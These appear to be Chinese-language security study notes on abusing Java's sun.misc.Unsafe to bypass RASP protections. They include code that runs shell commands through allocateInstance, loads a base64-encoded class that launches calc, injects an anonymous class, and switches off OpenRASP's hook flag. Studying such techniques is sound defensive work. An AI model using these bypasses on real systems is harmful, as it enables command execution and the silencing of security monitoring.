sun.misc.Unsafe
sun.misc.Unsafe
提供了一些底层操作,如内存、CAS、类、对象
Unsafe
是Java内部API,不允许外部调用
Copy /*
A collection of methods for performing low-level, unsafe operations. Although the class and all methods are public, use of this class is limited because only trusted code can obtain instances of it.
*/
public final class Unsafe {
private Unsafe () {}
private static final Unsafe theUnsafe = new Unsafe() ;
@ CallerSensitive
public static Unsafe getUnsafe () {
Class < ? > caller = Reflection . getCallerClass ();
if ( ! VM . isSystemDomainLoader ( caller . getClassLoader ()))
throw new SecurityException( "Unsafe" ) ;
return theUnsafe;
}
}
Unsafe
采用了单例模式,其getUnsafe()
方法会先判断调用者(Reflection.getCallerClass();
)的类加载器classLoader
是否为Bootstrap Classloader
可以使用反射来获取Unsafe
对象
Copy Class clazz = Class . forName ( "sun.misc.Unsafe" );
Field getUnsafe = clazz . getDeclaredField ( "theUnsafe" );
getUnsafe . setAccessible ( true );
Unsafe unsafe = (Unsafe) getUnsafe . get ( null );
allocateInstance
若RASP限制了某些类的构造方法(比如TrAXFilter
(加载字节码)、ProcessImpl
(Windows命令执行)、UnixProcess
(Linux命令执行))
可以用Unsafe
的allocateInstance
方法绕过这个限制
Google的GSON
库在JSON反序列化的时候就使用这个方式来创建类实例
绕过命令执行限制
Windows版本:
Copy Class < ? > clazz = Class . forName ( "sun.misc.Unsafe" );
Field field = clazz . getDeclaredField ( "theUnsafe" );
field . setAccessible ( true );
Unsafe unsafe = (Unsafe) field . get ( null );
Class < ? > processImpl = Class . forName ( "java.lang.ProcessImpl" );
Process process = (Process) unsafe . allocateInstance (processImpl);
Method create = processImpl.getDeclaredMethod("create", String.class, String.class, String.class, long[].class, boolean.class);
create . setAccessible ( true );
long [] stdHandles = new long []{ - 1L , - 1L , - 1L };
create . invoke (process , "whoami" , null , null , stdHandles , false );
JavaIOFileDescriptorAccess fdAccess
= sun . misc . SharedSecrets . getJavaIOFileDescriptorAccess ();
FileDescriptor stdout_fd = new FileDescriptor() ;
fdAccess . setHandle (stdout_fd , stdHandles[ 1 ]);
InputStream inputStream = new BufferedInputStream(
new FileInputStream(stdout_fd)) ;
BufferedReader reader = new BufferedReader( new InputStreamReader(inputStream)) ;
String line;
while ((line = reader . readLine ()) != null ) {
System . out . println (line);
}
Linux版本:
Copy String cmd = "whoami" ;
int [] ineEmpty = { - 1 , - 1 , - 1 };
Class clazz = Class . forName ( "java.lang.UNIXProcess" );
Unsafe unsafe = Utils . getUnsafe ();
Object obj = unsafe . allocateInstance (clazz);
Field helperpath = clazz . getDeclaredField ( "helperpath" );
helperpath . setAccessible ( true );
Object path = helperpath . get (obj);
byte [] prog = "/bin/bash\u0000" . getBytes ();
String paramCmd = "-c\u0000" + cmd + "\u0000" ;
byte [] argBlock = paramCmd . getBytes ();
int argc = 2 ;
Method exec = clazz.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class);
exec . setAccessible ( true );
exec . invoke (obj , 2 , path , prog , argBlock , argc , null , 0 , null , ineEmpty , false );
注意这个方法并不会执行任何构造方法
有时候使用反射去创建实例时,会遇到各种复杂的类依赖关系,此时也可以考虑用这个去实例化对象
内存层面修改值
Copy package org . demo ;
import java . io . BufferedReader ;
import java . io . IOException ;
import java . io . InputStreamReader ;
public class UnsafeTest {
private int offset = 1 ;
private String cmd = "whoami" ;
static public String SECRET = "666" ;
public UnsafeTest () {
}
public int getOffset () {
return offset;
}
public String getCmd () {
try {
BufferedReader reader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
StringBuilder builder = new StringBuilder() ;
String line;
while ((line = reader . readLine ()) != null ) {
builder . append (line);
builder . append ( System . getProperty ( "line.separator" ));
}
return builder . toString ();
} catch ( IOException e) {
throw new RuntimeException(e) ;
}
}
}
在JVM中,对实例的Field进行了有规律的存储,通过一个偏移量可以从内存中找到相应的Field值
Unsafe
提供两个方法来获取Field的偏移量
staticFieldOffset(Field var1)
和objectFieldOffset(Field var1)
获取偏移量后可以调用putObject
、putInt
等方法来修改对象的成员值
Copy Class clazz = Class . forName ( "sun.misc.Unsafe" );
Field getUnsafe = clazz . getDeclaredField ( "theUnsafe" );
getUnsafe . setAccessible ( true );
Unsafe unsafe = (Unsafe) getUnsafe . get ( null );
UnsafeTest unsafeTest = new UnsafeTest() ;
System . out . println ( unsafeTest . getCmd ());
Class test = Class . forName ( "org.demo.UnsafeTest" );
Field cmd = test . getDeclaredField ( "cmd" );
unsafe . putObject (unsafeTest , unsafe . objectFieldOffset (cmd) , "calc" );
System . out . println ( unsafeTest . getCmd ());
Field secret = test . getDeclaredField ( "SECRET" );
unsafe . putObject ( unsafeTest . getClass () , unsafe . staticFieldOffset (secret) , "hacked" );
System . out . println ( unsafeTest . SECRET );
当Field
的set
方法被限制时,可以考虑这种方法绕过
但对final
修饰的字段貌似改不了
defineClass
Unsafe
提供了一个defineClass
方法,传入类名、类字节码可以在JVM中注册一个类
Copy import sun . misc . Unsafe ;
import java . lang . reflect . Field ;
import java . security . CodeSource ;
import java . security . ProtectionDomain ;
import java . security . cert . Certificate ;
import java . util . Base64 ;
public class test {
public static void main ( String [] args) throws Exception {
// byte[] code = ClassPool.getDefault().getCtClass("Evil").toBytecode();
// System.out.println(Base64.getEncoder().encodeToString(code));
String CLASS_BYTE_Base64 = "yv66vgAAADQAKAoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMRXZpbDsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwAdAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwACgALBwAiDAAjACQBAARjYWxjDAAlACYBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MAAoAJwEABEV2aWwBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAAAgABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAAMADgAAAAwAAQAAAAUADwAQAAAACAARAAsAAQAMAAAAZgADAAEAAAAXuAACEgO2AARXpwANS7sABlkqtwAHv7EAAQAAAAkADAAFAAMADQAAABYABQAAAAYACQAJAAwABwANAAgAFgAKAA4AAAAMAAEADQAJABIAEwAAABQAAAAHAAJMBwAVCQABABYAAAACABc=";
Class clazz = Class . forName ( "sun.misc.Unsafe" );
Field getUnsafe = clazz . getDeclaredField ( "theUnsafe" );
getUnsafe . setAccessible ( true );
Unsafe unsafe = (Unsafe) getUnsafe . get ( null );
// 获取系统的类加载器
ClassLoader classLoader = ClassLoader . getSystemClassLoader ();
// 创建默认的保护域
ProtectionDomain domain = new ProtectionDomain(
new CodeSource( null , ( Certificate []) null ) , null , classLoader , null
) ;
byte [] b = Base64 . getDecoder () . decode (CLASS_BYTE_Base64);
unsafe . defineClass ( "Evil" , b , 0 , b . length , classLoader , domain);
Class . forName ( "Evil" );
}
}
注意Unsafe#defineClass
只能在JVM中define
一个类,不会加载这个类,所以最后通过Class.forName
来触发其静态代码块
defineAnonymousClass
defineAnonymousClass
可以创建一个内部类
这个类的名字设置时甚至可以是已存在的类名,由于java动态编译特性会在内存中生成新的类名
无法通过Class.forName获取这个类的(do not make it known to the class loader
)
这个类的classloader为null
Copy import javassist . ClassPool ;
import javassist . CtClass ;
import javassist . CtMethod ;
import sun . misc . Unsafe ;
import java . io . File ;
import java . lang . reflect . Field ;
public class test {
public static void main ( String [] args) throws Exception {
Class clazz = Class . forName ( "sun.misc.Unsafe" );
Field getUnsafe = clazz . getDeclaredField ( "theUnsafe" );
getUnsafe . setAccessible ( true );
Unsafe unsafe = (Unsafe) getUnsafe . get ( null );
ClassPool classPool = ClassPool . getDefault ();
CtClass ctClass = classPool . makeClass ( "java.lang.String" );
CtMethod toString = CtMethod.make("public String toString(){java.lang.Runtime.getRuntime().exec(\"calc\");return null;}", ctClass);
toString . setName ( "toString" );
ctClass . addMethod (toString);
byte [] bytes = ctClass . toBytecode ();
Class anonymous = unsafe . defineAnonymousClass ( File . class , bytes , null );
System . out . println ( anonymous . getName ());
anonymous . newInstance () . toString ();
}
}
打印出类名为java.lang.String/1645995473
,并弹出计算器
Java 11 把Unsafe
的defineClass
方法移除了,但defineAnonymousClass
还在
Close RASP
一旦攻击者拿到了一个代码执行权限,那么他便可以通过反射的方式取得RASP运行在内存中的开关变量(多为boolean或者AtomicBoolean类型),并把它由true修改为false,就可以使RASP得的防护完全失效。开关变量只是其中一个思路,当然有更多的方法去破坏RASP的运行模式,如置空检测逻辑代码(如果RASP使用了js、lua等别的引擎),置空黑名单、添加白名单
Copy Class clazz = Class . forName ( "com.baidu.openrasp.HookHandler" );
Unsafe unsafe = getUnsafe() ;
InputStream inputStream = clazz . getResourceAsStream ( clazz . getSimpleName () + ".class" );
byte [] data = new byte [ inputStream . available ()];
inputStream . read (data);
Class anonymousClass = unsafe . defineAnonymousClass (clazz , data , null );
Field field = anonymousClass . getDeclaredField ( "enableHook" );
unsafe . putObject (clazz , unsafe . staticFieldOffset (field) , new AtomicBoolean( false ) );
Summary
自定义类
defineAnonymousClass
生成的类无法通过反射获取其内部信息,且类加载器为Bootstrap ClassLoader
,会被认为jdk自带的类
Reference